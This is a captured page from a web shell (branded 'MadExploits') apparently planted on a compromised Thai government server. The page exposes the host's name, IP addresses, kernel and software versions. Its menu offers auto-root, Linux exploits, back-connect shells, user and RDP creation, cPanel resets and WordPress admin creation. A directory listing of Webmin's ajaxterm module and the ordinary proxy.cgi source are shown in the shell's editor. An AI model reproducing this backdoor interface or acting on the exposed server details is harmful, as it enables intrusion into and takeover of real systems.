Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
ajaxterm /
[ HOME SHELL ]
Name
Size
Permission
Action
ajaxterm
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
159
B
-rw-r--r--
config
24
B
-rw-r--r--
config.info
136
B
-rw-r--r--
config.info.ar
209
B
-rw-r--r--
config.info.ca
156
B
-rw-r--r--
config.info.ca.UTF-8
158
B
-rw-r--r--
config.info.de
161
B
-rw-r--r--
config.info.de.UTF-8
161
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms_MY
145
B
-rw-r--r--
config.info.ms_MY.UTF-8
145
B
-rw-r--r--
config.info.nl
160
B
-rw-r--r--
config.info.nl.UTF-8
160
B
-rw-r--r--
config.info.no
153
B
-rw-r--r--
config.info.no.UTF-8
153
B
-rw-r--r--
config.info.pl
152
B
-rw-r--r--
config.info.pl.UTF-8
158
B
-rw-r--r--
index.cgi
2.75
KB
-rwxr-xr-x
module.info
158
B
-rw-r--r--
module.info.ar
202
B
-rw-r--r--
module.info.ca
134
B
-rw-r--r--
module.info.ca.UTF-8
146
B
-rw-r--r--
module.info.hu
36
B
-rw-r--r--
module.info.hu.UTF-8
45
B
-rw-r--r--
module.info.ms_MY
143
B
-rw-r--r--
module.info.ms_MY.UTF-8
155
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.UTF-8
26
B
-rw-r--r--
module.info.no
23
B
-rw-r--r--
module.info.no.UTF-8
29
B
-rw-r--r--
module.info.pl
142
B
-rw-r--r--
module.info.pl.UTF-8
160
B
-rw-r--r--
proxy.cgi
1.66
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : proxy.cgi
#!/usr/bin/perl # Proxy an Ajaxterm request to the real port use strict; use warnings; BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); # Parse out port $ENV{'PATH_INFO'} =~ /^\/(\d+)(.*)$/ || &error("Missing or invalid PATH_INFO"); my $port = $1; my $path = $2; $| = 1; my $meth = $ENV{'REQUEST_METHOD'}; # Connect to the Ajaxterm server, send HTTP request my $con = &make_http_connection("localhost", $port, 0, $meth, $path); &error($con) if (!ref($con)); &write_http_connection($con, "Host: localhost\r\n"); &write_http_connection($con, "User-agent: Webmin\r\n"); my $cl = $ENV{'CONTENT_LENGTH'}; &write_http_connection($con, "Content-length: $cl\r\n") if ($cl); &write_http_connection($con, "Content-type: $ENV{'CONTENT_TYPE'}\r\n") if ($ENV{'CONTENT_TYPE'}); &write_http_connection($con, "\r\n"); my $post; if ($cl) { &read_fully(\*STDIN, \$post, $cl); &write_http_connection($con, $post); } # read back the headers my $dummy = &read_http_connection($con); my %header; my $headers; while(1) { my $headline; ($headline = &read_http_connection($con)) =~ s/\r|\n//g; last if (!$headline); $headline =~ /^(\S+):\s+(.*)$/ || &error("Bad header"); $header{lc($1)} = $2; $headers .= $headline."\n"; } print $headers,"\n"; # read back contents while(my $buf = &read_http_connection($con, 1024)) { print $buf; } &close_http_connection($con); # Touch status file to indicate it is still running my $statusdir = $ENV{'WEBMIN_VAR'}."/ajaxterm"; if (!-d $statusdir) { &make_dir($statusdir, 0700); } my $TOUCH; &open_tempfile($TOUCH, ">$statusdir/$port", 0, 1); &close_tempfile($TOUCH);
Close